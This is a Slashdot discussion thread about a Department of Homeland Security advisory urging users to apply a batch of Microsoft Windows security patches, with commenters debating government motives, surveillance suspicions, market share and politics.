Homeland Security says 'Patch Windows Now'

gregger writes "Wow, so the Department of Homeland Security is really concerned with Microsoft patches now... enough to come out and tell us to patch our machines. This warning, chronicled in eWeek, was issued less than a day after the release of 23 patches from Redmond. So, if you don't apply the patches, then what?"

Comments

Two Reactions

[eldavojohn]

In my country, the United States of America, I have never seen everyone so polarized. As a result, I personally highly value the ability to see actions and events from both sides. It's a becoming a rare trait.

On one hand, this announcement shows that the government is looking out for us. They are concerned about terrorists using our machines to commit acts of cyber terrorism. They are helping us protect ourselves by advising that we patch our machines with hyper critical updates from Microsoft. We should be glad that our government is so thoughtful and has decided to twist Microsoft's arm into fixing these problems and releasing updates. After all, as Americans, nothing is more important to me than my internet. It's my commerce, education, and ... uh ... love life. I wouldn't care if terrorists destroyed every TV & radio station in the United States, but I would riot if I was denied an internet connection for more than a few weeks. They're just protecting my interests much like a public service announcement or a tornado warning. I mean, the US-Cert team has been doing this for a while--even on my Mozilla browser. This "Patch Windows Now or Else..." is just FUD from the Slashdot editors--if you read the government press release, it's merely a recommendation, not a demand, warning or threat to patch your machine.

On the other hand, should we be suspicious? I mean, there have been much more severe critical problems with prior editions of Windows that the government hasn't deemed necessary to recommend. How do we know that these patches aren't part of some sort of government initiative to harvest data? I mean, we've seen it with our phones and e-mail--why not another form of technology? Could it be that these patches will occasionally phone Microsoft who then relays our data and actions to the FBI and/or NSA? Shouldn't we be suspicious that the government has never openly declared critical Linux updates an imperative? Why Windows? And how can we believe them if we never get to see the source code of the original program and the source code of the patches? Two points to note: Why now? And why isn't the government's warning message included with specific reasons and details of what the problems are and what the patch is going to do? These patches might be a wolf in sheep's clothing. I don't think the government is so worried about our interests but more so they're worried about the gathering of intelligence in their case against every single United States citizen.

Re:Two Reactions

[TheSpoom]

It's my commerce, education, and ... uh ... love life.

This is Slashdot, that last bit was assumed.

Re:Two Reactions

[ToasterofDOOM]

That is the most level-headed thing I've EVER heard on this site, and that says very little. This just goes to show that the goal of this government is not to oppress you or take away all of your freedoms, they do genuinely care for this country and its people, even if their methods are flawed.

Re:Two Reactions

[Lokni]

What a remarkable commentary on the sad state of affairs in the "Land of the Free" that our government makes a press release regarding patches to our computers and the first thing we think of is that the patch is associated with monitoring us somehow. For the record, I had the exact same thought as the OP and agree 100% with what he said.

This is unprecedented action. Why now?

Re:Two Reactions

[RedHat Rocky]

I personally have only one reaction: disgust.

I don't need nor desire the "government" to hold my hand.
I think the "government" has a lot better things they should be worrying about.

But mostly I blame the "government" for allowing the situation with Microsoft to exist.

By "government" I of course refer to the current administration.

Re:Two Reactions

[Billosaur]

It seems to me that if the terorists wanted to cause chaos and confusion, they've been doing a good job. Look at how we have to analyze this to see just what the DHS is up to, rather than simply thinking "Hey, patching my copy of Windows is probably a good idea." It's funny that when Microsoft says apply the patch, we dutifully go about it and grumble about all the bugs in their software, but when DHS says to do it, it's part of some sinister plot... or is it? We've become so conditioned to the idea that the government is corrupt, we fail to notice when they are actually doing their job. THe thing that maes this problematic is that DHS is being pretty cryptic, and they have no track record of doing this. It'll be interesting to see if this happens again when the next MS patch cycle occurs.

Re:Two Reactions

[elrous0]

How do we know that these patches aren't part of some sort of government initiative to harvest data? I mean, we've seen it with our phones and e-mail--why not another form of technology? Could it be that these patches will occasionally phone Microsoft who then relays our data and actions to the FBI and/or NSA?

Funny, but I just posted the exact same suspicion before I read your post. I hate to break out the tinfoil hat, but these days I wonder if we're being paranoid ENOUGH.

-Eric

Re:Two Reactions

[neonprimetime]

Could it be that these patches will occasionally phone Microsoft who then relays our data and actions to the FBI and/or NSA?

You got to think that sooner or later the government is going to have an overload of data that they won't be able to manipulate. I mean, they got our phone records, they got AOL search records, and now they got all your Windows desktop activity.

Re:Two Reactions

[Das Modell]

I don't really believe that Windows would transmit anything to the government (and I don't even live in the states so whatever). Someone would have figured it out a long, long time ago. Seemingly everything is hacked, cracked and exposed these days, Microsoft is under constant scrutiny, and I'm sure a lot of paranoid people have been trying to find out if Windows is sending sensitive data to Microsoft.

Re:Two Reactions

[Jimmy King]

We've become so conditioned to the idea that the government is corrupt, we fail to notice when they are actually doing their job.

It's not so much that people have failed to notice the government doing their job for once, several people have shown appreciation of it. It's that the government has been doing corrupt things and not protecting us for so long that people question whether they're really trying to protect us this time. It's kind of like that scene in a lot of movie revolving around highschool, where the popular kids constantly pick on and beat up the dorky kids. Then one day they invite said dork to a party, the dork thinks "wow, they've changed their minds and like me", only to show up and get their ass kicked and/or be the butt of some school wide joke.

Re:Two Reactions

[betterunixthanunix]

Shouldn't we be suspicious that the government has never openly declared critical Linux updates an imperative?

Two reasons for this: market share and business interests.

Windows simply has a bigger market share, which makes critical flaws a far bigger threat. It is just easier to gather up a botnet of 50000 Windows machines before somebody notices than to get that many *nix machines.

And the government is interested in what businesses need. Microsoft has been campaigning for years against Linux, which gives the government an impression that Linux presents a serious threat to Microsoft. Since most people have the impression that FOSS is anti-business, even people in the government, there is no pressure to pay any attention to it.

And there is also the question of visibility. How many times have you heard of a major *nix virus in the news? How many times has it been Windows or MS-Office?

Re:Two Reactions

[RockModeNick]

They don't need to get at anyone, just know they can put the time and effort to getting information on any individual "you" should that particular "you" become a problem to them.

Re:Two Reactions

[Anonymous Coward]

I mean, there have been much more severe critical problems with prior editions of Windows that the government hasn't deemed necessary to recommend

Not recently. I mean, in this patch, we had a remote root in an enabled-by-default service that listens to anonymous inbound connections and runs as local system in every version of Windows ever shipped. And the exploit was demonstrated at defcon last week. The last time I've ever seen a patch pushed with this urgency was SQL 2003 SP3, after Slammer was launched.

Capacha: "monopoly". Cute!

Re:Two Reactions

[LS]

I'm sorry that you are so scared of the truth that you jump at such a weak opportunity to keep the rug from being pulled out from under you. Who are "they" that you speak about? You say this as if you actually prefer strong authority figures keeping the world in order for you because you are unable to do it yourself. There is no "they" that either care or don't care for this country and its people, becase the government is made up of thousands upon thousands of people with different ideas and goals, some of them good, and some of them very sinister. Stop laying your parental fantasies on top of the government, because others like myself prefer not to have these nannies looking over our shoulders, especially when some of them have already proven to be homicidal.

Re:Two Reactions

[PFI_Optix]

I don't need nor desire the "government" to hold my hand.
I think the "government" has a lot better things they should be worrying about.

I don't see where this is anything close to hand-holding. You aren't being forced to do anything, the government isn't doing it for you, and if you don't do it, they aren't going to come after you. There's nothing wrong with a PSA that encourages people to secure their computers.

And if you really need a reason for it all, it costs tax dollars to deal with things like identity theft and stolen information. By encouraging people to secure their systems, the government may reap a long-term benefit of lower expenses and increased revenue without raising taxes.

Re:Two Reactions

[Shadowin]

My 2k3 server got owned yesterday. It was attacked by another server on the same subnet. I'm in the process of restoring everything. So yea, apply those patches.

Re:Two Reactions

[rtb61]

The odd point to consider is, that because the Department of Homeland Security is recommending the patch, they are also acknowledging and recommending, by inference the microsoft licence agreement that goes with the patch (a more anti-consumer licence agreement I could not imagine).

It would seem their lawyers were asleep at the wheel for that one (they should have specifically excluded any liability, just as microsoft specifically excludes any liability for any faults or even the presence of viruses). It seems like the Department of Homeland Security is willing to take more liability for microsoft's software then microsoft is.

When a government department recommends without limiting liability for that recommendation the tax payer pays.

Re:Two Reactions

[andrewman327]

Here is answer to your "why now" question: government moves that slowly. It takes this many years for them to get around to issuing their warnings.

Re:Two Reactions

[Ninjaesque One]

Never heard of a *nix virus, let alone a major one. Homeland Security simply doesn't need to care about nixboxes, because they're far more secure than Windows. This may be due to obscurity, but the end result is same.

Re:Two Reactions

[ArcherB]

But mostly I blame the "government" for allowing the situation with Microsoft to exist.

By "government" I of course refer to the current administration.

Uh... M$ was making buggy software long before the "current administration" came to power. Just like the plotting for 9-11, wars between Arabs and Israelis, wars in general, global warming, hurricanes and so on all predate the current administation. I'm not saying the current admin is perfect or that previous admins are 100% to blame, but I think you need to spread that blame around.

It's bad enough people think that history began when they were born, but there is no excuse for thinking all problems began less than seven years ago, provided you can read.

Re:Two Reactions

[maxume]

DHS is a big, stupid bureaucracy. Get used to the fact that they are far more concerned with appearing to be doing something than they are with actual security.

Announcing that it is a good idea to apply security patches to computer systems is a fairly safe way to appear busy.

The security level bullshit is another great example -- if they think something is neccesary during a 'red', then it is probably a good idea to do it during a 'yellow', as their intelligence is bound to not be perfect. Announcing the 'red' and then doing stuff related to it makes them look busy.

Re:Two Reactions

[ExE122]

Wow, look at the replies... I love how aroused everyone gets over the prospect of a possible government conspiracy. I think the government really does have its priorities, but monitoring 10 million computers to find out what porn sites people like to visit isn't one of them.

From the article: "This vulnerability could impact government systems, private industry and critical infrastructure, as well as individual and home users"

I think that statement is pretty much an ordered list of government priorities when urging these security measures. Why is the government getting involved? They're looking out for their own interests. The average government worker is likely sitting on a windows workstation right now, surfing the internet with IE, creating a presentation in Powerpoint, running some calculations in Excel, or typing a document in Word... and they probably don't even have the administrative rights to run their own updates, so they sit around waiting for some IT grunt to get off his lazy ass and do it for them.

Even as we speak, I'm sitting at a Windows work station without version management and without admin rights. I have to use the company standards of IE and Office because I can't install Mozilla and OpenOffice. I don't even know if our IT department is aware that they need to run any patches. I haven't seen them do it since I've started working here. And what's worse, I'm working for a government contractor which is always making a lot of fuss about security!

Which brings me to my next point. The government is also looking out for industry and commerce. I'm sure you've noticed the U.S. economy isn't what it used to be. The last thing this country needs is a cyber attack wreaking havoc among businesses and putting even less trust in online commerce than there already is.

Shouldn't we be suspicious that the government has never openly declared critical Linux updates an imperative?

Actually, the DHS has funded open source security auditing. Its true, they have never made it an imperative critical update, but you have to take into account the users and usages of open-source products. If you've installed and/or administrated Linux, its very likely you have enough know-how that you don't need a government warning to get you to stay on top of security patches.

Windows, however, is the most widely used operating system, especially for people who don't have the first clue about security or administration. How many Windows users out there use Administrator as their standard account? People like that need to be warned about the importance of updates.

While I'm not going to deny the possibility that they do have more up their sleeves, I think the past couple years have made me less likely to don the tin foil. With the terrorist attacks, resulting WMD wars, Gee Dubya elections, and blatant fear-tactics, I've really begun to realize that "government intelligence" truly is an oxymoron.

--
Take off every sig. Move sig for great justice.

Re:Two Reactions

['nother poster]

This is unprecedented action. Why now?

Well, the first time anyone does anything it's unprecedented by definition. ;) As to why, because they felt it was necessary. The reason for the necessity is left as an exercise for the reader since I have no idea. Maybe the government wants to p0wn your PC more than they do already. Maybe they know of a specific threat from an enemy state or terrorist group and are taking precautions. Or maybe, just maybe, they are sick of 50,000 zombies spamming herbal Viagra ads to their personal e-mail accounts.

Re:Two Reactions

[Veetox]

The issue could also be something to do with false accusations: Maybe the DHS wants to avoid pulling innocent bystanders into court when illegal opperations are "laundered" through their computers. This would go hand in hand with PFI Optix' response, which suggests that the government (even though they are invading our privacy anyways) wants to avoid the added cost of dealing with falsly accused citizens and the potential for increased opposition to the Patriot Act.

Re:Two Reactions

[SpaceLifeForm]

I'll just note that DHS is a heavy windows user,
and they have a vested interest.

Re:Two Reactions

[slashdotet]

Could it be that these patches will occasionally phone Microsoft who then relays our data and actions to the FBI and/or NSA? Shouldn't we be suspicious that the government has never openly declared critical Linux updates [us-cert.gov] an imperative?

Umm I don't think so since windows is run on system that are all over the world not just in the USA. So say here in canada the goverment of the USA has no right to my data. Even if they wanted it they can't take it. just like they can't tap our phone lines with out MY goverments and the courts consent!

Re:Two Reactions

[955301]

Here's my hypothesis.

The US government could give a rat's pellet collection about your internet connection, tornado warning, etc. The only reason any emergency response systems exist is because if they didn't they would lose control and we would riot (note: Katrina), or someone could step in and fill the need as a power grab. They are so unenthusiastic about actually helping that they constantly test how little we will tolerate. They'll all fly in to provide emergency legislation to "help" to Terri Schiavo, but will let thousands of gallons of needed water get accidently released from resorviors during a drought. The rule of thumb is - if it's getting excessive funding it's important to them, if it's not, it's only important to us.

So given that, here is the real reason they are ordering us around on this one. Our personal resources can be used in a denial of service attack against THEM. That's right folks, Homeland security is worried that they will get attacked with their own citizens resources. I'd bet all the money owed to me by the Social Security Administration that if someone figured out how to remotely control our garden tools to attack Congress, they would not put up jammers to block the attempts, they would make it illegal to house a garden tool that wasn't chained to the wall and arrest anyone who did not comply.

These people are not our friends, they are not our representatives even any more - we don't base our selection of them on their legislative actions (such as attempts to repeal the 4th amendment or eliminate term limits on the presidency - hello? Austrian born foreign Dictator running an industrial power? Sound familiar?). We base them on spoon fed garbage meant to mislead and "entertain" the public.

BTW, you overloaded your feel good paragraph against your sceptics - Shouldn't the second paragraph's first sentence have read "On the other hand, we should be suspicios."

And you know where my vote lies. Although random individual people working for the government are decent, there are enough sociopaths to wreck the whole thing. An apple with bugs in it is an apple a person won't eat unless they are starving. The trick is to get us to the point we are starving.

Re:Two Reactions

[a_nonamiss]

Sorry about this one guys and gals...


In Soviet Russia, patches apply YOU!

Re:Two Reactions

[Gr8Apes]

If the government is so worried about Winblows machines, why don't they just have ISPs block ports 135-139, among others? Most problems solved. Heck, honestly, block all ports below 1024 unless you have "server" licensed access. Then, to finish it off, ban IE, and mandate Firefox.

That type of action wouldn't surprise me, but it'd piss me off (I run my own web server to share items with family, for instance).

Re:Two Reactions

[Anonymous Coward]

"Could it be that these patches will occasionally phone Microsoft who then relays our data and actions to the FBI and/or NSA?"

Patch first, packet sniffing later.

Re:Two Reactions

['nother poster]

A long time ago (1988), in an Internet far far away (before commercialization), one of the first "computer viruses" (actually a worm) to be well known among the public was when some kid (grad student) crippled most of the UNIX boxes with a piece of broken self replicating code.

Re:Two Reactions

[dbIII]

I prefer to look at this simply - perhaps someone from the uber department is just making public noise to justify spending on their sections projects.

Personally I think the vunerability and number of exploits on machines on the net has gone way beyond what I would have laughed at in SF a few years ago. Buffer overflows and race conditions were known about and dealt with in computers before Gates wrote his first program - let alone all of the other stupidities that fill the net with spam zombies. Getting a computer virus from an image file? It should be pure SF and not a stupid and real vunerability. Having just spent a day removing spyware from an exploited machine I am very unimpressed by the state of home computer software and consider the MS windows registry a very bad implementation of a not paticularly good concept.

Re:Two Reactions

[955301]

Get your head out of that bucket of ice. Our scepticism has nothing to do with "terrorists" it has to do with a corrupt government telling us what to do! They only act promptly in their own interest - they simple don't want people fighting them to use their own sheeple's resources against them.

And the government IS corrupt! We're conditioned to ignore it, not act on it! Did a crown of angry citizens attack Tom Delay? No. Did Oren Hatch get run out of town? Nope. The last time some corrupt official was reported in your news paper, did you gather up a posse and run him down in the streets? Not likely.

The DHS is a shell organization set up to distract and consolodate power. Period.

Re:Two Reactions

[Anonymous Coward]

If Microsoft actually participated in a scheme like this, then some of us might think a little more positively abou them. But their only interest is in extorting money from people. They couldn't care less if they were doing
something to improve the nation's security.

Re:Two Reactions

[MECC]

How do we know that these patches aren't part of some sort of government initiative to harvest data?

Because the government isn't that competent or clever. The effective 'intelligence' of any organization is inversely proportional to its size.

Re:Two Reactions

[B11]

but when DHS says to do it, it's part of some sinister plot... or is it? We've become so conditioned to the idea that the government is corrupt, we fail to notice when they are actually doing their job.

Given the track record, why are you surprised? And since when is it wrong to question government's motivation? Are we just to assume they have our best interest at heart? On a less cynical note, why would I take the computer advice of an agency that came up with the color coded alery system, and the "in case of chemical attack, duct tape your windows shut?" I'd almost trust the "Geek Squad" over the DHS on computer security issues.

Re:Two Reactions

[Skweetis]

Shouldn't we be suspicious that the government has never openly declared critical Linux updates an imperative?

CERT has covered vulnerabilities in OSS products, apparently just not since 2004, which is as far back as the online archive you linked goes. I don't remember seeing anything about them discontinuing their coverage of OSS products, did they do that somewhere along the way? I know there have been holes in OSS products since 2004, have they just not been significant enough to warrant CERT's attention?

Re:Two Reactions

[ewl1217]

Shouldn't we be suspicious that the government has never openly declared critical Linux updates an imperative? Why Windows?

I understand being a bit paranoid, but this is just out of hand. You've got to realize that most computers in the US (and most of the world, for that matter) run on Windows. What makes it so alarming when the government reccomends that we keep our computers safe by applying the latest security updates? In the case of Linux, there are many distributions and few users, not to mention that most Linux users know to keep up with the latest sucurity fixes...

Re:Two Reactions

[corbettw]

It seems to me that if the terorists wanted to cause chaos and confusion, they've been doing a good job.

Except that's not what they want to do. They (and by "they" I mean Islamist terrorists) want everyone in Dar al-Harb to either become Muslim and join the Dar al-Islam, or die. Sowing confusion isn't really a part of either of those.

Re:Two Reactions

[LoudMusic]

I'm probably talking out my ass, but here goes ...

A) I agree with. It's weird, and I'm skeptic.

B) I have vague memories of various geekish ramblings about how it should be illegal to run unsecured operating systems. And now that it's about half way to law we're all skeptic.

Why the skeptizism?
We as a geek community don't like Microsoft.
We as a young society don't like our current government.

So they suddenly want everything patched and we're skeptic that it's because the patches include monitoring software. But we've been saying that about auto updates ever since MS started using them.

Re:Two Reactions

[love2hateMS]

Why now? Because as soon as the next big virus/worm/trojan hits all the Bush-Government Bashers will line up to criticize him fo NOT doing anything to prevent cyber attacks.

The saddest thing about all this nonsense is not that the evil Republicans might be spying on us, or that the evil Democrats love terrorists more than freedom, but rather that people actually believe all this FUD and have lost all civility.

Re:Two Reactions

[truthsearch]

Actually, you can blame just the current administration for letting Microsoft get away with things. The Microsoft anti-trust case began during the previous administration. A few weeks after Bush entered office he removed every lawyer on the case with any experience in monopoly law. He had them replaced with novices and shortly after the case ended with Microsoft not even getting a slap on the wrist. Gates was never even investigated for his perjury in federal court. While Microsoft is guilty of illegal business the current administration specifically let them off the hook.

Of course the customers let them off the hook for writing bad software, but that's another story.

Re:Two Reactions

[SanityInAnarchy]

The terrorists really don't care what we're doing at home. "They hate our freedom..." Yeah, BS. They just want us to get out of their own affairs.

I mean, I don't disapprove of using this argument to make people wake up and start caring about our freedoms. I do it too: "This isn't America anymore, it's Oceania. WTF are you fighting for? Regime change starts at home." I strongly believe we should keep our freedoms, live the American dream, and make the Founding Fathers proud -- not rolling in their graves.

Those who would trade essential liberty for temporary safety deserve neither.

But let's not kid ourselves. We could really be Oceania and the terrorists still wouldn't have "won", unless we really did decide to pull out -- which we wouldn't, because Oceania needs a perpetual state of war.

Re:Two Reactions

[Anonymous Coward]

typical leftist drivel. judging the mexican leftists staging a mass whine-fest over losing the election, and drawing parallels to the liberals whose party of choice lost the US election in 2004, with the crocodile tears when the cameras were on them, talking about defecting to Canada (who didn't want them either) I am starting to recognize a pattern. Liberals appear to come from parents that give their whiney snot-nosed crumbsnatchers whatever they want at the drop of a tear, because their precious little princes and princesses deserve whatever they want regardless of whether or not it is what is really best for them. greed makes the world go round.

Re:Two Reactions

[mdielmann]

but when DHS says to do it, it's part of some sinister plot... or is it?

Well, here's the question. What's changed? There are a lot of possibilities here, including increased risk in general, increased risk in security, increased corruption in government, increased power-mongering in government, or some members of the DHS getting a clue. Obviously something's changed, else they wouldn't have made this public announcement. Given the NSA phone call data mining, and the recent terrorist plane bombing plot, it could go either way. But that leaves the question, which is better supported by a modification of the code on my computer? I'm inclined to believe it has more to do with the former than it does with the latter.

The third option, government incompetence, is always a valid possibility, of course.

Re:Two Reactions

[Anonymous Coward]

Did you chuckle with glee?

Re:Two Reactions

[Anonymous Coward]

In this case, I would still blame the current administration. MS was found guilty of abusing their monopoly, but this administration quietly let it slide.

Re:Two Reactions

[BarkLouder]

It's not so much that people have failed to notice the government doing their job for once, several people have shown appreciation of it. It's that the government has been doing corrupt things and not protecting us for so long that people question whether they're really trying to protect us this time. It's kind of like that scene in a lot of movie revolving around highschool, where the popular kids constantly pick on and beat up the dorky kids. Then one day they invite said dork to a party, the dork thinks "wow, they've changed their minds and like me", only to show up and get their ass kicked and/or be the butt of some school wide joke.

An analogy that makes sense..... you must be new here! Welcome to slashdot, now cut it out!.

Re:Two Reactions

[jackbird]

I think the government really does have its priorities, but monitoring 10 million computers to find out what porn sites people like to visit isn't one of them.

Don't be so sure. The current administration seems very intent on regulating the sex lives of Americans. From Ashcroft's covering up the bare-breasted statue of Justice in the Justice Dept.'s lobby, to Republican senators that openly endorse the enforcement of sodomy laws, saying "if the Supreme Court says that you have the right to consensual sex within your home, then you have the right to bigamy, you have the right to polygamy, you have the right to incest, you have the right to adultery. You have the right to anything."

That quote is NOT out of context.

Re:Two Reactions

[Anonymous Coward]

That read like it was written by a teenager. Your not even close to being the island you think you are.

Re:Two Reactions

[TheSkyIsPurple]

>This is unprecedented action. Why now?

Because MS06-040 patches a more wormy possibility than most previous vulnerabilties?

Re:Two Reactions

[tlacuache]

Uh... M$ was making buggy software long before the "current administration" came to power.

What?!?! You mean Bush isn't responsible for *everything* bad that's happening today? But... but... he caused Hurricane Katrina! Bush caused global warming! My microwave's broken... I think Bush did it!
I'm a conservative (but not a Republican), and while I can't say I agree with a lot of what the current administration's doing, I'm tired of the far (and getting farther every day) left trying to blame everything on Bush.

Re:Two Reactions

[gutnor]

You have to start someday ...

Yes there have been many more critical flaws. But only recently ( we are talking goverment time scale ) the goverment realise the threat and start to react. Actually massive botnet and such have not been a hot topic outside IT world since a long time.
There is no reason for the government to announce Linux and such patches. Currently the threat comes from Windows.

Let's wait for the next update to see if it was really the beginning of something or just something suspicious ( tinfoil hatter by definition should have some sort of backup to restore a previous safe version )

Re:Two Reactions

[Macthorpe]

The DHS is a shell organization set up to distract and consolodate power. Period.

You see, using "Period." at the end of a sentence implies that you have some kind of factual basis for your claims, including documented evidence.

Sorry! My mistake! Evidence is for 'The Man', whereas true revolutionaries can act on speculation and the assumption that what you say is empirically true.

I'll let you get back to that.

Re:Two Reactions

[Anonymous Coward]

You know, you are right. Critical elections are coming up that might turn the liars, traitors, and crooks currently in power out on their ears, and suddenly Homeland Security (AKA: MiniLuv) says we gotta patch our machines NOW. Worrisome.

Re:Two Reactions

[Moofie]

"As a result, I personally highly value the ability to see actions and events from both sides"

If you think an action or an event only has two sides, you are part of the problem.

Re:Two Reactions

[4doorGL]

Shouldn't we be suspicious that the government has never openly declared critical Linux updates an imperative? Why Windows?

Umm, maybe because a ~95% marketshare of Windows is > ~2% marketshare of Linux?

Take off your tinfoil hat and use your head next time you want to post something like this comment.

Re:Two Reactions

[Red Flayer]

While I'm not going to deny the possibility that they do have more up their sleeves, I think the past couple years have made me less likely to don the tin foil.

I understand that it's pretty easy to think of the Federal government in a kind of "Keystone Cops" role. But despite their blundering, they have been steadily increasing domestic surveillance via many means.

There are still many capable people in high places, and given what they've been doing since 2001 (and earlier), one MUST be suspicious. Of course, there is a not-so-fine line between being suspicious and being paranoid, but recent relevations of domestic surveillance becoming more and more common mean that we have to be MORE distrustful than ever, not less.

And, to just repeat what many tinfoilhatters have said, if you believe our government is too inept to maintain complex surveillance programs, then they've done the onfuscation part of their job correctly.

Re:Two Reactions

[Shaper_pmp]

I think the government really does have its priorities, but monitoring 10 million computers to find out what porn sites people like to visit isn't one of them.

How about monitoring 10 million phone calls?

And with a handy backdoor installed monitoring computers would be even easier to automate.

I'm not saying they have, merely that your pooh-poohing of the whole idea is a bit baseless when they've already been caught doing essentially the same thing in a different medium.

While I'm not going to deny the possibility that they do have more up their sleeves, I think the past couple years have made me less likely to don the tin foil. With the terrorist attacks, resulting WMD wars, Gee Dubya elections, and blatant fear-tactics, I've really begun to realize that "government intelligence" truly is an oxymoron.

Sorry, just to clarify:

The constant exposes of systematic corruption throughout all levels of the US government, from pre-warnings of 9/11 through to financial scandals to the gutting of judicial oversight and introduction of almost limitless executive power for the Whitehouse... two blatantly corrupt elections, at least one illegal war and enough lying, bullshit and willful misrepresentation to indict and incarcerate any normal group of people ten times over... and all this means you're less likely to don your tinfoil hat?

The only way this makes sense to me is if you're saying conspiracy theories shouldn't attract tinfoil hat accusations any more... because everyone knows they're watching you, lying to you and breaking the law all the damn time?

Re:Two Reactions

[Anonymous Coward]

The reason this was issued by the DHS is because it is suspected that this is one of the bugs that Hezbollah has been using to break into networks, and re-broadcast the banned Al-Manar television station to the US.

Didn't know their was a television station that has been banned in the US? Stranger, it was banned because their one-sided political message is a "a grave breach of the freedom of speech".

Even better, we (the US) have effectively banned them in Canada as well.

I don't agree with anything that the Al-Manar network has to say, but this ban disturbs me greatly. It seems to me we're over the brink of the slippery slope.

Re:Two Reactions

[955301]

Well, let's take a cursory glance then.

Wikipedia (Unless you think I've conspired to make up the entry here):
"The department was created from 22 existing federal agencies in response to the terrorist attacks of September 11, 2001."
Making a single department from 22 agencies is called consolidation.

Next, distractions: An alert system which never goes off alert is not an alert system at all. It's a continuous message to be vigilant, which is not information, it's a fear tactic. What's more, there would have been a massive uproar if the government had no internal response to the hijackings, so they took existing groups and rebranded them as a single simple solution to the communication problem. Then muddied up the water with reorgs and ill-managed funding.

http://www.usmayors.org/72ndWinterMeeting/homeland report_012204.pdf

http://hsgac.senate.gov/index.cfm?FuseAction=Press Releases.Detail&Affiliation=C&PressRelease_id=960& Month=4&Year=2005

these go on and on. It's the '80's Pentagon spending all over again.

Stop worrying about how I say something and actually take a look around.

Re:Two Reactions

[utopianfiat]

If the US government wants me to trust them, they need to appear to be trustworthy.
I don't know about you, but I live in Texas, and I know for a fact that Culberson (R-TX) has fabricated terrorist plots to get the attention of conservatives. I don't trust the government, no. Not when they will flat out lie for your vote.

Re:Two Reactions

[neoform]

How about we just stop looking to blame others?

Global warming isn't the government's fault, it's OUR fault. Does the government make you drive a car to work?

Re:Two Reactions

[Mister Whirly]

"If the government is so worried about Winblows machines, why don't they just have ISPs block ports 135-139, among others? Most problems solved. Heck, honestly, block all ports below 1024 unless you have "server" licensed access. Then, to finish it off, ban IE, and mandate Firefox."

In a nutshell, because we don't live in Communist China. The government can regulate business, but short of passing laws and enforcing them, they can't force a business to do something that is within their legal rights.(With the exception of the anti-smoking in private business laws, which are completely unAmerican)

And we need less "hand-holding" "protect us from ourselves" laws. If a business, or you at home wants to block those ports, feel free - but the government shouldn't be involved. I think that decision should be left to the individuals, and not mandated.

Re:Two Reactions

[Silverstrike]

That's a completely nieve sentiment. I'm sorry, but government, at least in some form, is absolutely necessary. How do I know? I'm human. And by and large, humans are greedy, amoral, unethical creatures that left to their own devices lie, steal, cheat, murder and rape their way through life. Don't believe me? Look at any area of the modern world lacking a strong government, like Africa.

Now, since government is comprised of humans as well, it also must have checks and balances in place to ensure that those in power don't lie, steal, cheat, murder and rape their way through life, much to the misery of the people they rule. For examples of this, see any totalitarian regime. ie: North Korea

You say this as if you actually prefer strong authority figures keeping the world in order for you because you are unable to do it yourself.

Are you able to keep the whole world in order? You do realize at there's 6 billion people on the planet right? Most of them would kill you, your family, and everyone you know, if it made their lives even marginally better. So go ahead, try to "keep the world in order", I'm sure that'll work out great for you, by yourself. What's that? You'll get some friends to help? You do realize you just created a government then, right? Albiet, an informal government that probably would rule by force. Good job.

All that being said, I do value my privacy and freedoms greatly. I wish the government would stay out of my life. However, I also appriciate the fact that the crazies down the street know that their asses will end up on jail, should they try to hurt me or my family.

Re:Two Reactions

[Anonymous Coward]

We've become so conditioned to the idea that the government is corrupt, we fail to notice when they are actually doing their job.

Distrust of Big Government was always there.

A related example from three decades ago: "The NSA tweaked the S-box to weaken DES!"

At least, that was the perception of some people: NSA is directly associated with spying, so a suspicious person would naturally assume that their recommendations to the design team were meant to facilitate that main mission. But apparently, they were actually doing their job as consultants.

The problem for the average citizen is that we've seen situations where people within government abuse their power, or "pull a fast one" on us. We don't like that, so we're suspicious of new activities. This cycle has been going on forever.

Re:Two Reactions

[Anonymous Coward]

No body is saying that Bush caused hurrican Katrina. Did he have a huge part in the rediculously irresponsible handling of the situation? Yes. Has he put his trust in people that aren't up to the job? Yes. Are we at war when we should certainly not be? Yes. Have we been fed false information for a good portion of the last 7 years by the current administration? Yes. Do we hear backpeddling and lies from the current administration from month to month? Yes. Does Bush cause natural disasters? Well. Nobody can be certain, considering "God" said he wanted Bush to be president of the United States, but I highly doubt that Bush is of such significance to an omnipotent power that natural disasters occur as a result of his actions. Since we're living a state of affairs generated by those who are on the "far right," maybe we should give the "far left" a chance. Maybe get some stem cell research done and stop relying on oil so much. Just a thought. But then, what do I know, I can't even get married.

Re:Two Reactions

[shawb]

I think the NSA has a lot of number crunching capability.

Re:Two Reactions

[MrNougat]

I noticed something right away about your erudite post. (Italics added, because your post is a great one, and I don't mean to tear it down with the following.)

The section wherein you describe the "our government is just looking out for us" position is made up of declaratory statements. The "hidden conspiracy" section is made up of questions (partially excluding "These patches might be a wolf in sheep's clothing," which could be considered a draw to cause the reader to question, and "I don't think the government ...," which is the conclusion of all the prior statements).

For the first part, statements are made and presented as fact, then a conclusion. The reader may choose to agree or disagree with the statements, and thereby the conclusion - but it seems clear that if the statements are true, the conclusion is also true.

For the second part, the reader self-answers the questions posed, and is asked to agree with the conclusion based on those answers. A conclusion cannot be derived from a series of questions; there must be answers (facts) on which conclusions must be based.

This is how many arguments between conspiracy theorists (CT) and non-conspiracy theorists (NCT) go. CTs present questions without answers, with the presumption that whoever is reading the questions will answer them in the way desired. NCTs present statements of fact, and the reader must judge whether to take those statements as true or not.

Asking questions as your argument allows the reader to go back and modify the self-provided answers (perhaps unconsciously) in order to allow the conclusion to be true. Presenting statements of fact does not allow this kind of manipulation.

If CT lines of reasoning did not ask questions, and instead presented statements of fact, it would be very simple for readers to discount them as bunk. But because the reader is self-providing answers (and a self-provided answer is very likely to be one that the reader believes is true), CT arguments can come off as more valid than they really are.

Re:Two Reactions

[zaphod_es]

Windows simply has a bigger market share, which makes critical flaws a far bigger threat. It is just easier to gather up a botnet of 50000 Windows machines before somebody notices than to get that many *nix machines.

Homeland Security is clearly not at all concerned about botnets. There are tens of millions of upatched bootleg copies of XP all around the world (including the USA) which Microsoft Genuine Advantage prevents from being upgraded. This adversely affects all computer users whereever they are, whatever OS they use and regardless of the legal status of their software. Allowing security upgrades would be a good step towards solving the problem.

Re:Two Reactions

[Don853]

Don't annoy the tinfoil hatters! They'll run you out of Slashdot.

Re:Two Reactions

[wackattacka]

"Homeland Security" does not seem to be doing enough. Most people in the USA that use PCs are using Windows, so it makes sense to be concerned with computer security -- what happens if/when a terrorist decides to exploit a worm hole in Windows? The government needs to do more than just issue a press release to say "patch now!" That won't get a user who hasn't patched his computer in 2 years to do so today.

Re:Two Reactions

